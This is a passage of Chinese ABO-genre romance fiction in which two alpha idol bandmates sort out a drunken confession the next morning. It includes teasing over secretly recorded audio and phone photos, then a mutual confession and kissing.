大脑很晕,还有些痛,他努力回忆两秒, 想起这是因为成员们昨晚录团综时边玩游戏边喝了酒。 游戏。喝酒。 等等。 一段发生于黑暗中的、打从他上楼后开始的记忆不期然冒出了头。 方柏嘉猛一下睁大眼, 彻底清醒了。 他昨天晚上干了什么!!! 汤昼恒到了屋边, 打开门向外看了看。没一会儿转身回来,就看见方柏嘉正以一脸仿佛遭到雷劈般的表情看着自己。 汤昼恒脚步一顿,像是意识到了什么, 缓慢向他走近。 结果还没走两步, 方柏嘉就像个受惊的兔子似的,当着他的面一把捞起被子盖在头顶,整个人“嗖”一声钻了进去。 “……” 望着眼前这一团连头发丝都没露出来的不明物体,汤昼恒挑了挑眉。 看来是酒劲过了。 他不语,径直在方柏嘉身旁的床边坐下。 “酒醒了?” 床上的白色团子微不可查地动了一下,但没说话。 汤昼恒侧过头, 饶有兴趣地打量“它”:“怎么突然把自己闷在里面,不热吗?” “你还记不记得自己昨晚做了什么?” 三连发问,仿佛一枚枚被装载进弹夹的子弹,方柏嘉似乎听到手/枪上膛的声音。 他藏在被子里,脑海里只有一句话在反复回荡—— 我TM是疯了吗。 一个人喝醉酒怎么能说出那么可怕的话! 方柏嘉多希望这只是场梦。 然而汤昼恒就在被子外面步步紧逼,如此指向分明的问题,让他想抱有侥幸心理都难。 方柏嘉深吸一口气,将被子边缘小心翼翼地拉下来。 一对漂亮的眼珠慢慢转到右边,故意做出惊讶的表情:“你怎么会在我房间?昨天发生了什么吗?” 他眨眨眼,貌似无辜。说完打了个哈欠,也不等汤昼恒回答,径自在对方面前转过身去,把被子角塞到身下卷吧卷吧。 “好困,我要接着睡了。” ……好拙劣的演技。 如果方柏嘉一醒来就表现出这副样子,汤昼恒说不定还会信一信。 可偏偏他中间此地无银三百两地来了出头蒙被子。 汤昼恒静静看着他演完这一出,冷静地叫了声:“方柏嘉。” 方柏嘉整个人一抖。在被子底下悄悄握紧拳头,又往更深处缩了缩,头埋进被窝里不出声。 希望汤昼恒能自觉一点,从沉默无言的回应中领悟他的态度。 对方偏不给他这个机会。 方柏嘉假装睡着没几秒,忽然听见硬物边缘的轻碰声,汤昼恒俯身从床头柜上拿起了什么物品:“这是什么?” 轻轻的咔哒一下。 没有设置过静音的电子设备被那人一通操作,发出了系统提示音。 方柏嘉在被子里茫然了数秒,越想越觉得不对,猛地惊起。 他的手机!!! 是他昨天晚上专门带上来的赞助手机——靠! 方柏嘉再顾不上装,以最快速度掀开被子扭过头,果然看见汤昼恒在那儿举着他的东西阅览。 这个空荡荡的手机里唯一有内容可看的,估计就是相册了。 方柏嘉屁股下着火了一样,弹起来就去够对方的手:“还我!” 汤昼恒看似不动声色,其实早就料到他这一出,立刻将手机举高,身子后仰着躲开了方柏嘉的袭击。 “还你?可以,但我们是不是该把昨晚没解决完的事先解决一下?” “……” 方柏嘉整个人凝固的石膏像般呆滞了片刻。 “我下楼看看今天周几——” 下一秒,他掀开身上的被子要逃。 不料汤昼恒早就对他的逃跑路径做出了预判,一只手撑上来,眼疾手快地将被子一角压回去,像把方柏嘉关进一个口袋。 “跑什么这么急,”他冲他抬抬下巴,“谈谈。” 此时此刻,方柏嘉心里不由得飘过一句话。 果然,清算时间来了。 昨天晚上他说了那么一大堆胡话,汤昼恒不可能不起疑。 关键……为什么要在发生了那么尴尬的事后第二天早上就来对他处刑啊! 像之前那样隔个几天让他缓冲缓冲不行吗? 方柏嘉深呼吸,眼神飘浮向一旁,尽量让自己看起来镇定:“这个……没什么好谈的吧。我昨天喝太多,不记得了。” 汤昼恒笑了声:“是吗。” 对方的口吻太过淡定,一下就让方柏嘉升起了警惕心。 他转过视线,狐疑地看向对方。 就听汤昼恒慢悠悠地道:“看下你的手机。” 手机? 不是被这人拿走了吗? 方柏嘉呆住片刻,意识到汤昼恒说的是他日常在用的那一部,而并非厂商赞助。 不明白对方要干什么,方柏嘉在四周找了一圈,从枕头底下摸出自己的手机打开。 主页锁屏上是两条来自汤昼恒的微信提醒。 看时间,发送时间是今天的凌晨一点多。 方柏嘉:“?” 没记错的话,自己那时候应该都睡了吧?有什么话不能等第二天醒来当面说,还非得发消息。 方柏嘉解了锁,打开二人的对话界面。 并非文字,也没有图。汤昼恒发给他的居然是两个音频文件。 看见它们的瞬间,方柏嘉的眼皮不禁跳了跳。生物对即将到来的危机的本能预知让他下意识屏住呼吸,点开了第一个音频。 短暂不到半秒的飞速加载后,文件自动播放起来。 【“那你为什么不和我睡?!”】 【“我不管!我就要和你睡觉。你不同意,我!%&*#@……”】 听起来,汤昼恒像是剪辑了一下,将两段分开的内容拼合在了一起。 房间内一时寂静得落针可闻。 音频中属于方柏嘉的声音在他手里炸响,像一道电流钻进他握着手机的指尖。 方柏嘉受到冲击,手腕肉眼可见地抖了一下,左手食指僵硬地悬停在距离屏幕不到五毫米的上端,仿佛被人施展了定身术。 又过了两三秒,才猛然反应过来似的按灭手机,将它倒扣着藏到身后。 方柏嘉直愣愣地转过头,和抱臂坐在一旁的汤昼恒对视。 对方一脸戏谑地看着他,见状,甚至还看热闹不嫌事大道:“后面还有,怎么不都点开看看?” “有些人是喝醉了,可是嘴和手还不老实,还会对身边的alpha动手动脚。” 汤昼恒以“受害者”的身份陈述着他前一晚的作为。 短短几句话,让方柏嘉脸颊的温度迅速上升到了极限。 他震惊得瞳孔放大:“你是怎么录到的——” 不对,重点不是这个:“你居然偷偷录音!” 汤昼恒这个人是魔鬼!!! 方柏嘉悔得肠子全青,只恨自己不能穿越过去重新编辑事情走向。 汤昼恒对他谴责的眼神视若无睹:“怎么样,都想起来了吗?现在可以和我聊聊了吧。” 沉默。 事已至此,他还能说什么? 方柏嘉才听了截出来的两句话就受不了了,自己再说不,汤昼恒岂不是要把整个音频都当面放给他听。 “你想聊什么?”方柏嘉气若游丝,生无可恋。 汤昼恒觉得他的表情有点好玩,提了提嘴角道:“你别做出这么如临大敌的样子,我又不会对你怎么样。” “这样吧。”他略一思索,“晚上的问答游戏,全都是你在提问,有点不公平。是不是也该到轮到我问你几句?” “你不需要说‘当然了’,只要认真回答我提出的每个问题。” 方柏嘉掀起眼。 大概是觉得自己并没有讨价还价的本钱,干巴巴地道:“你要问什么?” “第一个问题。”汤昼恒突然向前倾身,一条手臂缓慢撑在方柏嘉的身侧。 “你昨天说的那些海王啊,欲擒故纵啊……什么的,是什么?这些都是用来形容我的吗?” 面前的青年彬彬有礼,表现得十分虚心求教:“请问我哪里、哪一点像海王?我到底做了什么让你有这种认知,可以告诉我一下吗?” 他嘴上像是探讨,气势却很逼人,进攻欲望强烈,像是才刚慵懒地醒来,对着猎物蓄势待发的斯文猛兽,方才的对话不过是他的开胃前菜。 方柏嘉被他问得愈发心慌,恨不得直接一头撞上床头装死,无奈这个死脑子现在清醒得要命,只能慌乱找补:“那都是我不清醒的时候乱讲的,你不用放在心上。” “哦。”汤昼恒轻笑一声,看样子没被他拙劣的说法糊弄过去,“那后面那些呢,夸我长得帅人很好那里还……” “!!!!” 察觉到他接下来要说什么,方柏嘉赶忙去捂他的嘴。 不是——这人怎么什么都好意思往外讲啊? “够了!”方柏嘉讪讪地说,“这些无关紧要的内容你就不用复述了,我又没失忆。” “你刚才可不是这么说的。”汤昼恒不无促狭地道,“承认得这么干脆,倒是有进步。” ……你都直接把证据录音下来了,我哪还有狡辩空间。 方柏嘉尬笑了一声,发现汤昼恒其实还挺记仇的:“我都说我喝醉了。” “是吗?”汤昼恒忽然朝他凑近。 “可我怎么记得,昨天晚上有人吵着闹着要和我那个,还信誓旦旦地跟我说,什么——”汤昼恒歪了歪头,露出回忆的表情,“‘两个互相喜欢的alpha是忍不住的?’‘我都不和你睡,根本就不喜欢你’,这也是醉了能说出来的话?” 汤昼恒歪过头,目光直视着方柏嘉:“这位喝醉了的先生,你很在意我喜不喜欢你吗?” “…………” 方柏嘉一脸窘迫地看着他,像被自己昨夜亲口道出的雷人言语定住一般,一时间不知道该如何回应,只能原地石化,唯有一双眼睛无措地瞪得溜圆。 汤昼恒犹觉不够,继续向他倾身,制造追问的压迫感。 方柏嘉被他逼得步步败退,一点点挪着屁股向后蹭,直到后背靠上床头,再也无路可躲。 听汤昼恒说到这里,一张脸更是红得如同番茄,连耳廓都泛上羞色。 汤昼恒见他不说话,声音停顿一下。 不等方柏嘉回应,就自己找出了答案:“所以,这就是你说我是海王的理由?没有如你所愿地睡你,就是钓着你玩,欲擒故纵?” “还控诉我为什么不和你睡,问这种问题,你认真的?” 静谧无比的房间当中,汤昼恒无奈至极地叹了口气。 方柏嘉被动静吸引,目光迷茫地看着他。 就听汤昼恒道:“每次你一对我表现出有这种意思的时候都不清醒,要么是易感和伪感期,要么是喝醉了,你觉得我应该怎么对你?什么样的alpha会对一个神志不清的人下手?难道一定要我在你连自己的想法都控制不了的时候上你你才满意,这不可能吧?” 昨晚被方柏嘉魔音贯耳了一阵,汤昼恒睡前一通思索,也算勉强弄清了他的发言逻辑。 说出这话,语气十分无语。 “我不知道你从谁那里听来的这种‘不睡就是不够喜欢’的说法,但至少在我看来,趁人之危很没有风度。” 他话音加重,语气简直像在给一只无法无天的比格做道德法制科普。 “现在是文明社会,管不住下半身的alpha的最终下场就是进拘留所。如果连自己的欲望都克制不了,那也太低级了。难道你喜欢的是这种alpha?” 方柏嘉眼神移开:“。” 话题怎么就转移到喜欢哪种alpha上去了。 汤昼恒突然较真,他还没大反应过来,微微半张着嘴,花了会儿功夫理解对方的话,却并不满意。 脑筋一转,下一句话脱口而出:“那我上次没醉也没易感,你不也没做下去。” 言下之意,是怀疑汤昼恒又在找理由搪塞他。 汤昼恒手上的动作一顿。 其实那一瞬间,他想到的是自己一瞥之下看到的名为“李子晋”的来电显示。 他面无异色道:“你的意思是,你想让我在接下来马上又要坐飞机赶场去其他城市活动的前提下,还不管不顾地和你上床,让你接下来几天连走路都困难,是吗?然后等结束了,你再像之前一样反悔?” 这话要是别人讲,多少有些自我吹嘘的嫌疑。 但汤昼恒他是试过的,方柏嘉艾完草确实行动不便了好几天。 方柏嘉一下变得哑然。 听完汤昼恒说的这些,他在原地维持一个姿势,足足呆愣了好几秒,反应过来的第一件事是反驳:“我什么时候反悔——” “你敢说你没反悔过?”汤昼恒打断他。 看出方柏嘉毫无自觉,赶在他为自己辩驳前补充。 “你既然这么问,那我挑开了和你讲。不和你睡,是因为你总是当面一套,过后又是一套说辞。因为我怕你和我做完后又告诉我你只是口头说说,‘我只是那么说了,没真让你那么做’,‘我觉得太快了,不适应’——你不久前才这么讲过吧?请问你要怎么向我保证,这样的事不会再重蹈覆辙?” 汤昼恒的眼神深深地凝视着对方,看得方柏嘉一阵心惊肉跳,下意识撇过脸。 “方柏嘉,”他叫他的名字,用那种长辈叮嘱和训诫小辈的语气,淡淡又严厉地说,“你不能只顾着自己爽,不管别人死活。你是不管怎样都逻辑自洽了,被你弄得两头不是人的我怎么办?不答应你要被当做恶棍,答应你过后又要被你谴责被你躲,这种情况,你让我怎么做。” “你自己没有信用,为什么要反过来对别人的言行那么在意?” “你又凭什么不高兴?” 汤昼恒一句接着一句,步步紧逼,又循循善诱。 尽管语气温和,却仍然极具攻击性。 此刻的他看上去完全就是那种最精明而有行动力的猎人,年轻、果决、百发百中,绝不错过任何一个可以抓住的时机,春风和煦只不过是他用来引诱猎物一点点踏入陷阱的表皮,实则没人比他更懂得怎样循序渐进。 方柏嘉的呼吸都跟着停住。 汤昼恒冷不防开始长篇大论,也包含了发泄的意味。 他不是一点都不在意方柏嘉的那些前后不一,既然眼前这人要谴责他,那他就也把底牌端上桌面,看谁更在理。 凭什么他都还没说些什么,方柏嘉就先不满上了? 刚才还嚣张至极的气焰顿时消失不见,方柏嘉如同做了亏心事被发现的动物,露出那种眼睛看左看右,就是不肯往人脸上瞧的表情。 好不容易回过神来,他忽地来了一句:“那你下次易感期是什么时候?” 有些突兀的一句话,接在眼下的这个情境里,显得驴唇不对马嘴。 “……” 汤昼恒定定地盯着他看了好几秒,没说话。 就在方柏嘉后悔自己嘴太快时,他才又开口:“这个问题你上次已经问过了。为什么还要问?” “我——”方柏嘉无言半秒,心说上次问了你也没回答啊,我可不得再问吗。 第一反应仍是口不对心的掩饰:“不能问吗?你帮了我这么多次,我也想礼尚往来帮你一下,这个很正常吧?我不喜欢欠别人人情。” 他说着,一副公事公办的姿态。 岂料汤昼恒道:“你最好还是欠着。” 方柏嘉一下不可思议地看向他。 这人什么意思? 汤昼恒道:“我帮你,是因为你生病多少是因我而起,我觉得我有责任。你帮我是因为什么,你觉得你对我的易感期有责任?上次伪感期我陪了你,所以你就想还礼,下次你有需要,我再帮你,你再还回来。我再帮,你再还——是这样吗?” 对方不客气道:“你想一直礼尚往来到什么时候?” 方柏嘉不明白他为什么语气突然变得严厉,心里开始打鼓,但还是硬着头皮想当然道:“到脱敏结束就可以了啊。” 汤昼恒沉默了两秒。 “你的意思是,从现在起,到你不再需要‘治疗’时结束,我们就都一直保持着这种在对方有生/理需求时互相满足的身份状态——” “那如果一辈子都结束不了呢,或者要花上好几年?” 方柏嘉听愣了,不知为什么感到紧张,一句欠考虑的话未经大脑便说出了口:“不可以吗?” 汤昼恒:“我不可以。” “为什么?” 汤昼恒露出沉思般的神情:“那样的话,就不是单纯的帮助关系了吧?” alpha的语气忽然变得漫不经心起来:“别的alpha经常上床,是因为他们有这方面的约定俗成——男朋友也好,床伴也罢。我和你是什么关系,有什么正当理由可以这么做?” 方柏嘉怔住。 意识到自己刚才说出了怎样惊世骇俗的言论,一张脸登时升温。 汤昼恒说这话的意思,岂不是在暗示他,方柏嘉想和他维持“这种关系”,就必须从两种身份里边选? 方柏嘉马上噤了声。 汤昼恒见他不语,继续乘胜追击。 “第二个问题,再问一遍——你为什么要问我易感期是什么时候?方柏嘉,你想做什么?” 说话和呼吸间,唇边呼出的气流如同一阵季风吹来,拂动方柏嘉脸上细小的绒毛。 压迫感太强,方柏嘉想逃,却没地方可躲,被逼问到这个份上,只能实话实说:“我就问一下不行啊。你说这么多,我怎么知道你讲的是真的还是假的……那,那我不可以想要验证一下吗。” “哦——”汤昼恒轻轻地应一声。 “你的意思是,想让情况倒转过来,变成你是清醒的,我几乎没有理智。你的验证方式,就是想看看我在易感期里是什么样子,看我在意识不清醒的情况下还能不能忍得住,从而判断我是不是喜欢你,对不对?” 方柏嘉的脸红了个彻底:“我可没有说,这都是你自己讲——” “可是你有没有想过,”汤昼恒打断他,“在极端条件下提出的问题,只能得到仅适用于极端条件下的回答。” 方柏嘉一愣。 汤昼恒道:“在那种连正常神智都无法保持的情况下忍不住和你做了,就是喜欢你吗?有没有可能,我再怎么样也是alpha,全天下的A在易感期里都一个样?” “你知道有什么方法可以解决你的这些疑惑,让我们都满意吗。” 察觉到方柏嘉目光的躲闪,他用手掌轻轻把着对方的下颌,让他无法移开脸。 “不要总在喝得一团烂醉的时候才敢和我说这些话,对我提出这种要求。找个我们都能正常交谈的时间段再问我试试,你就能得到正常的答案了。” “问题是你敢吗?” “我……” 与肌肤挨着的指腹分明传来温热的触感,不知道为什么,方柏嘉却像被烫到一样打起哆嗦。 想要张口,却怎么也挤不出下文,整个人都处在一种空茫的状态。 见他缄默,汤昼恒也不刻意逼迫,只静静数着二人的呼吸。 片刻过后,忽然毫无征兆地低头,重新拿起方柏嘉的那只赞助手机摆弄。 方柏嘉被声音吸引着回过神,见势不对,整个人又打起鸡血,抬手就要去夺—— 然后再被对方躲过。 “干嘛反应这么大?”汤昼恒整个人往后坐了三十公分,佯作不懂地冲方柏嘉扬眉。 方柏嘉失手落空,差点扑在对方身上,见状立刻抬头:“你拿我手机,你说我干什么?还我,你这是侵犯我的个人隐私——” 昨晚的酒精还残留在他体内,让方柏嘉不假思索地说出夸张的话。 ……也可能是因为他很清楚,在眼下这个时候将更多“证据”暴露在汤昼恒眼底,是极其危险的行为。 汤昼恒哼笑一声,像觉得他很有趣:“侵犯个人隐私?我看你的照片是侵犯隐私,那你偷拍我的照片又不告诉我算什么?侵犯个人肖像权?” 他说着,将手机屏幕调转向方柏嘉,示意着冲他晃了晃。 界面停留在方柏嘉给他照的那张照片上,绿色的大背景,葱郁明亮的光影,方柏嘉还没看清就一眼认出。 他的心脏剧烈地颤动一下,像在一瞬间经历了地动山摇,连说话的嗓音都不自觉抖动起来。 “偷拍……告诉你了还叫什么偷拍——不对,我本来就没有偷拍!” 方柏嘉强作镇定地迅速纠正。 “我昨天说了,我那是为了拍你后面的树。” “……你别太自恋。” “是吗?”汤昼恒静静地看着他,闻言,脸上并没有什么波动,波澜不惊地就给方柏嘉扔下一枚重磅炸弹。 “那我怎么没再看见它?” “什么?” 方柏嘉没听明白。 汤昼恒说:“那棵树。” “你相册里的所有内容,前前后后,从第一张到最后一张,包括最近删除我都看了。” “你没有再给它拍过别的照片。” 如果方柏嘉当时真的只是单纯地想拍它,为什么不等汤昼恒离开后再照一张没有人的? 又为什么偏偏要留下一张汤昼恒和树的合影? 原因只有一个。他醉翁之意不在酒。 “你喜欢的根本就不是树。”汤昼恒轻声说。 第48章 第 48 章 默认你也对我有好感。 “……” 寂静。 窗外的鸟唧唧叫着, 从清晨的枝头飞掠而过。 长久的沉默中,方柏嘉的心跳仿佛就紧挨着他的鼓膜震动。 觉得自己该说些什么反驳,大脑却不知出了什么错, 陷入一片彻底的空白。 其实如果他真的打定主意不承认,方柏嘉总能找到各种各样的借口去填空。 狡辩说自己拍了但是觉得拍不好, 已经清空了回收站也好;大方承认自己确实觉得这张照片很有意境,临时突发奇想保留下来也行。 没人规定必须要喜欢一个人才能给他拍照。 然而一件事若是心照不宣到了一定地步, 就会让人连编造理由都觉得无味。究竟有什么必要呢?两个人分明都对此心知肚明。 更何况方柏嘉昨天还发了那样一通酒疯, 又是什么要和他睡觉、又是谴责汤昼恒是玩弄人心的海王的, 就差把“求名分”三个字写在脸上。 “你喜欢的根本就不是树”, 翻译过来不就是, “你喜欢的其实是我”? 操。 汤昼恒到底要干什么啊? 方柏嘉心里骂了一长串脏话出来, 其实手足无措极了,因为过于震惊而始料未及,甚至没能把眼神移开, 和汤昼恒干瞪眼地彼此看着。 气氛一时有点诡异。 汤昼恒清了清嗓子, 过了两秒, 像刚才那番直逼心灵的审问根本没发生过一样地说:“……第四个问题。” “玩蒙眼抓人的时候,你后面为什么故意让我抓到?” 对方突然就放过了他,跳到了下一个问题上, 是方柏嘉没料到的。 他起初甚至没意识到自己听见了什么, 眼睛猛眨了两下,呆了好几秒,才猛然反应过来,捡起自己的声线道:“……这个不该问你吗?是你先开这个头的。” 方柏嘉好像抓到了什么难得一见的漏洞与机会,紧接着抬起眼,反过来拷问汤昼恒:“那你呢, 上一把为什么要特意那么帮我?” 这回换成汤昼恒移开眼。 他想了想,不疾不徐地开口:“这样很有意思,不是吗?你差点就要被抓到了,而我刚好想到一个办法可以帮你。我玩游戏喜欢认真。” “那下一局轮到你抓,你怎么又不认真?” “玩太久游戏,累了。”汤昼恒面不改色。 方柏嘉:“……” 这明明是他昨天就说过的台词! 短短的几句对话,如此的云里雾里,说了又好像没说。 只因两人似乎都隐隐意识到,自己和对方讲的都不是真心话,而他们也未必猜不出另一个人的真实想法。 在这样揣着明白装糊涂的寂然当中,方柏嘉似乎又听见了自己的心跳声。 “骗子。”他轻声地道,嘴唇几乎没怎么动,短促的音节像从齿缝里挤出来的。 汤昼恒没听清:“什么?” “我说你不诚实。”方柏嘉突然提高了音量,破天荒地不知从哪积攒起一波勇气,“说要别人认真回答,结果自己也推三阻四,不说实话。那还有什么意义?——为什么你总是在问我问题,自己却不表态?” “莫名其妙地对别人好,又从来都不直说,问你你也找理由搪塞,是觉得自己这样很酷?让别人自己在那猜来猜去,我是应该多想还是不多想?想多了,怕自己自作多情;不多想……” 又怎么可能做得到。 方柏嘉没把这句话说完,只接着赌气似的道:“我不喜欢这种暧昧不清的感觉。你到底是什么意思,有本事就说清楚,别老给人制造没必要的困扰。” 这话说完,方柏嘉许久没好意思和汤昼恒对视,只感觉那人火辣辣的目光凝聚在他脸上,差点在上面烧出个洞。 “……” 回答他的,是汤昼恒匪夷所思的注视。 “暧昧不清的感觉?……制造没必要的困扰?”对方一瞬间像是无语到了极点,“我到底有哪里表现得不清楚?” 方柏嘉眼睛瞪大地反问回去:“你有哪里表现得清楚?” 空气中仿佛有群乌鸦飞过。 两个人面面相觑数秒,都从彼此的脸上看出了不可置信。 饶是为了早上的谈话做了许久心理建设的汤昼恒也短暂失语,不禁在心里开始怀疑,难道他从头到尾,都是在对着傻子抛媚眼? 两人之间的信息传递到底出了什么差错,能让对方产生出这种疑问? 他愕然地呵笑了声,不可思议道:“所以在你看来,我一直以来做的所有举动算是什么?” 方柏嘉犹豫许久:“算你……是个好人?” “……” 汤昼恒的神色一时堪称精彩至极。 “难道我之前帮你脱敏,陪你过生理期,闹矛盾了还主动来找你……这些种种的举动,你都觉得我只是出于一个好心队友的情谊在帮忙?” 他说这话时语气稍有戏谑,本意是不怎么信的,还等着方柏嘉来反驳。 然而好几秒过去,迎来的却只有诡异的寂静。 方柏嘉没说话,脸上的表情却分明在答,“难道不是吗”? 甚至直到这一刻前,方柏嘉都还觉得汤昼恒有一定概率是个想要骗色的渣男来着…… 方柏嘉抿住嘴唇。 汤昼恒敏锐地从他沉默的态度中领悟到了什么,也不开口了。 过了许久,他才认命似的叹了口气:“不是每个人身体出了问题我都要为他负责的——我也没有好心到碰上个alpha易感期就要帮忙解决。” Alpha平静的嗓音如同溪水在缓缓流淌。 “……帮你脱敏是不想让你不那么舒服,一次又一次主动送上门是不想让你去找别人。玩游戏让你赢,当然是为了讨好你了,不然呢?能让你因此觉得愧疚也不错。” 他一条一条地陈列着,忽而向方柏嘉俯身,且看起来没有要停下的趋势。 被他锁定的人似乎感觉到了什么,不知道是心虚还是单纯为汤昼恒身上那股气势所震慑,也慢慢随着他的动作向后仰。 后仰到一定程度,腰身实在支撑不住身体的重量,又开始挪着屁股一点点往床头蹭。 直到后背靠上枕头,后脑勺也抵住了微凉的墙壁,方柏嘉再也无处可躲,汤昼恒依然还在向他靠近。 年轻俊美的五官不断在他眼前放大,明明目光和表情都还算柔和,却带来难以言说的压迫感。 方柏嘉的大脑变成被清空的文档,不想示弱,艰难地控制住自己想要偏过头去的欲望,逼迫自己和来人对视。 无机质的凉意透过墙面过渡到脖颈肌肤,冰得方柏嘉在大清早打了个寒颤。 偏偏对方炙热的呼吸如一团蒸发的柔雾,氤氲在他面前,一前一后,冷热分明,好似置身不真实的世界。 汤昼恒弯了弯眉眼,似乎很乐意于看见方柏嘉此刻的模样,缓声道:“或许我确实像你说的有那么好心,但也绝不是一点目的性也没有。不直说是因为我觉得我表现得已经够明显的了,但是没想到某个人居然完全,没有,察觉。” 他嗓音冰凉,眼神也同样凉凉地眯起眼。 “现在说得够清楚了吗?” 不知道是不是有太多信息需要消化,方柏嘉好半晌没动静。 汤昼恒也不在意,笑了下道:“那么可不可以请你认真地再回答我一次——被我抓的时候,你到底在想什么?要和我一样的实话。” 咚咚,咚咚。 震耳欲聋的心跳声几乎要挣脱肋骨的束缚,从胸膛中脱壳而出,血液迅速而凶猛地奔涌,以至于他手脚的末端甚至产生出轻微的刺痒感。 良久,方柏嘉才动了动唇:“你是在明知故问。” 他视线游移,没有和汤昼恒对视。 “我没有‘明知’。”汤昼恒答得很快。 “如果我确定,我就不会问。我既然问了,就代表我并不清楚。” 青年用近乎引诱的声音引导他:“我只是想要你一个回答。” 又是突如其来的沉默。 离得太近了,就连压迫感似乎也到达了极限。 方柏嘉的胸膛再三起伏,终于艰难地从喉咙中挤出声音:“……因为我看不下去。” 仿佛重担落地,第一句话一旦说出口,后面的内容似乎都慢慢变得流畅起来。 方柏嘉费力地吞咽一下:“故意被你抓,是因为不想看见你手受伤了还可怜兮兮地要抓人,因为你上一把还为了帮我自己输了,我看不下去,心里觉得很不舒服。我——” 他几乎有点语无伦次。 这个问题的本质和汤昼恒问他为什么不给树拍照是一样的。答案还能是什么? 因为喜欢汤昼恒,所以觉得愧疚,觉得不忍,有很多种说不出的情感混合在一块,总觉得自己也应该同等地回应给汤昼恒些什么,否则就怎么样都不舒服。 他脸上发烫,嘴巴明明在说着话,灵魂却仿佛离家出走,只能感觉到两瓣微凉的嘴唇在一张一合,却听不出那是自己发出的声音。 他好似第一次学会人语,坦白都坦白得磕磕绊绊。 此时汤昼恒已离他极近,方柏嘉说话间,甚至能想象出这人脸上的细小绒毛被他口中呼出的气流吹动的画面。 对方双手支在他的身体两侧,一会儿抬眼和方柏嘉眼神对望,看似认真地倾听他讲话,一会儿目光又落下去,三心二意地盯着他的下半面部。 一个“我”字的话音未落,汤昼恒忽地拉近他们之间本就不剩几公分的距离,侧头吻上方柏嘉的嘴唇。 …… 刹那间字形溃散,唇面上酥酥麻麻,好似爬过一群躁动的蚂蚁。 汤昼恒含住他的唇瓣,色/情至极地吮吸两下,唇肉摩/擦,似花瓣之间重重地接踵挤压。 Alpha短暂地停留两秒就放开他,方柏嘉喘/息一声,看着那人的脸慢慢拉远,脸上的表情似震惊又似迷惘。 汤昼恒嘴唇勾起一点弧度。 “我对你好,对你来说有那么难以接受吗?至于让你斤斤计较到这个地步,得了一点好处都坐立难安?” “告诉我,你为什么看不下去。” 汤昼恒再度向他移动,用闲聊似的语气说:“其他人这么对你,你也会心里难受?” 方柏嘉前面都似魂游天外般呆坐着,听到这儿,终于反应过来,小幅度地摇摇头。 汤昼恒眼眸垂了垂,说:“好乖。” 甚至不等方柏嘉再说些什么,他就又含住对方的双唇亲吻起来。 先是右边,然后侧过头,换个方向,再从左边开始接吻。 如同蜻蜓点水,动作缱绻而迟缓,好像要从奶油味的alpha口中汲取出甜味。 方柏嘉不自觉迎合起他的吻。 两分钟后,汤昼恒放开他,抓住方柏嘉垂在身旁的手,引导他贴在自己的脸颊一侧,几乎像是催眠一样地说:“……你心疼我,对不对?” 方柏嘉看着他,心跳因为汤昼恒的话而漏跳一拍。 “心疼——”他呆呆地跟着汤昼恒的话语重复,像在咀嚼这两个字的味道与重量,又好像恍然间被人点醒。 一股热流霎时冲上头顶,让他连呼吸都觉得困难。 汤昼恒不愧是在组合里当惯了老大身份的,明明只比方柏嘉大一岁,却已经锻炼得功力深厚,独属于年长者的狡黠气质自成一派,甚至连被诘问者的回应都不需要,照样能一步步指引着对方往自己定好的方向走。 方柏嘉说不出话,表现却等同于已经做出回答。 他这个样子,实在是很可爱。 汤昼恒没有忍住,低头继续向他索吻。 “嗯……” 脊柱中泛起难/耐的电流,方柏嘉不期地哼了一声,转瞬间像忘了所有原本盘踞在脑中的草稿,视野里只剩汤昼恒放大后的面孔,还有那两片正在轻柔亲吻着他的、湿热的唇。 过了很久,他们才重新分开。 方柏嘉软绵绵地躺在枕头上,淡彩色的发丝像蓬松的云一样顺着重力散落,一对唇被汤昼恒吮得水润润的发红,双颊也覆上淡淡的粉晕。 怀疑自己此刻张大嘴巴呼吸的样子有些yin乱,方柏嘉不好意思地抿了抿唇,努力控制住脸上的表情、以及胸膛起伏的频率,一脸迷离地看着身前的人。 半秒过后,又实在害羞到没法和对方坦然对视,视线飞快地移开。 等一下,话说都到这份上了,他们现在算是捅破三分之一面窗户纸了吗? 所以接下来的流程是什么来着…… 他完全没有经验啊! 心情乍起乍落,方柏嘉的心态还没转变过来,神情中不由得带上些许忐忑,一瞬间无数念头弹幕一般争先恐后地涌出。 这个想法刚冒出头,汤昼恒平静中夹带一丝错乱呼吸的嗓音便在方柏嘉耳边响起:“如果你真的想知道我什么时候易感期,那我就告诉你。” 方柏嘉一怔,扭回脸来看他。 汤昼恒接着说:“因为接下来要忙路演,我会吃药把易感期推迟,差不多到下月中旬。跑完路演,我会直接坐飞机回首都,去我在其他小区的住处。” 说到这里,他停了下,问方柏嘉:“你离开这边后要去哪里?” 团综录完,他们回归期的团活基本也告一段落,方柏嘉知道,汤昼恒这是在问他后面的行程,想看两人的时间能不能对得上。 他立刻有点紧张起来,想了想说:“前几天我有别的商务,五号应该就回去了,因为要监督师妹她们录音。” 汤昼恒低低地“嗯”了声, “到时候我会把地址发给你,来不来由你决定。不过提前说好——” “我不接受你说的那种‘礼尚往来’的方式,如果只是单纯想和我‘互帮互助’,那你就没必要来。一旦来了,我会默认我们已经达成了一致。” 汤昼恒说着,仔细观摩着方柏嘉脸上的表情。 面前的alpha听得愣愣的,好像真的什么都不懂,也像是明知故问:“什么一致?” 汤昼恒的目光意味深长。 “默认……我们不只是‘互相帮助’的一致。” “默认你也对我有好感。” “默认,我们可以开始以交往为前提的相处。” 好几个默认连在一起,像是一串渐变的符号,每一句都是对上一句的强调,每一句又都在上一句的基础上加了码。 如同天平。汤昼恒不断在他那边放上重物,一块,一块,又一块。那些砝码仿佛就镇在他的胸口,压得他心脏沉沉地喘不过气,方柏嘉甚至没意识到自己屏住了呼吸。 整个世界像被按下了暂停键,方柏嘉在汤昼恒的眼眸中,看见自己惊讶得接近呆滞的脸。 对方说得太清晰、太直白了,没有任何可以狡辩或含糊其辞的空间。 方柏嘉小声而急促地呼吸了两下,含糊不清地说:“为什么啊?” 汤昼恒扬了扬眉:“什么为什么?” “就是为什么,忽然间对我……” 方柏嘉想说,你为什么忽然就喜欢上我了?想想又觉得“喜欢”这两个字太烫嘴,脸上匆匆一热,他把剩下的话咽下去。 汤昼恒却神奇地明白了他的意思,反问道:“那你又是为什么?” 方柏嘉害臊得不行,怎么可能回答,眼睛转到一边,支支吾吾地磨蹭:“我……” “我”了一会儿也“我”不出个下文来,汤昼恒没打算从他嘴里再撬出什么,又很好心地把话题转了回来:“总之,我的态度就是这样,选择权交给你。” 汤昼恒朝他低头,身上散发出很迷人的樱桃香气:“还要接吻吗?” 方柏嘉:“……” 都亲了他这么多次了,居然现在才问。 这人装什么呢? 